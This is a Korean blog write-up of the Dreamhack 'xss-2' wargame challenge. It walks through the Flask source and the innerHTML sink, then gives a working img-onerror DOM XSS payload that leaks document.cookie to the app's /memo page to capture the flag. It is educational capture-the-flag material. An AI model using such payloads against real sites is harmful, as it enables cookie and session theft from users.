본문 바로가기

드림핵 워게임

[드림핵/워게임] xss-2 write-up

https://dreamhack.io/wargame/challenges/268/

 

xss-2

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역

dreamhack.io

 

전체적인 페이지는 xss-1과 크게 다를 게 없어 보인다. 다만 vuln 페이지에서 param으로 넘겨준 스크립트 태그가 실행이 되지 않는다.

xss-1과 뭐가 다른지 코드로 살펴 보자


코드

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    return render_template("vuln.html")


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

각각의 페이지에 대한 설명은 xss-1에서 한 것과 동일하므로 생략하겠다.

여기서 봐야 할 점은 vuln 페이지이다. xss-1에선 return param 을 통해 param을 반환시켜 줬지만 html을 반환함으로써 스크립트 태그가 실행되지 않는 모양이다.

 

 

다음은 curl http://host3.dreamhack.games:10253/vuln 로 본 vuln페이지의 html 파일이다

<!doctype html>
<html>
  <head>
    <link rel="stylesheet" href="/static/css/bootstrap.min.css">
    <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
    <link rel="stylesheet" href="/static/css/non-responsive.css">
    <title>Index XSS-2</title>


  <style type="text/css">
    .important { color: #336699; }
  </style>

  </head>
<body>

    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">XSS-2</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
          </ul>

          <ul class="nav navbar-nav navbar-right">
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav>

    <div class="container">

    <div id='vuln'></div>
    <script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>

    </div> <!-- /container -->

    <!-- Bootstrap core JavaScript -->
    <script src="/static/js/jquery.min.js"></script>
    <script src="/static/js/bootstrap.min.js"></script>
</body>

여기서 주목할 점은

<div id='vuln'></div>
    <script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>

이 스크립트 태그에서 쓰인 innerHTML 함수이다.

innerHTML 함수는 외부에서 입력된 script 태그가 실행되지 못하도록 text로 인식한다고 한다.

따라서 script가 아닌 다른 태그를 이용하면 스크립트를 실행시킬 수 있다.

 

img 태그의 onerror 속성을 이용하니 alert가 잘 실행되는 모습이다.

이를 이용하여 xss-1과 똑같이 flag 페이지에 코드를 넣어 보자.

 


익스플로잇

xss-1과 똑같이 flag 페이지에서 익스플로잇 코드를 작성해 주면 된다.

xss-1에서는 script 태그를 직접적으로 이용했다면, xss-2에서는 다른 태그를 사용해서 넣어 주면 된다.

<img src=x onerror="location.href='/memo?memo='.concat(document.cookie)"/>

 

위 코드를 넣어 주었고, memo 페이지에 들어가 보면 플래그가 잘 나온 걸 볼 수 있다.

 

* 구글에 xss bypass 를 검색하면 필터링을 거를 수 있는 많은 태그들이 나와 있으니 참고하자!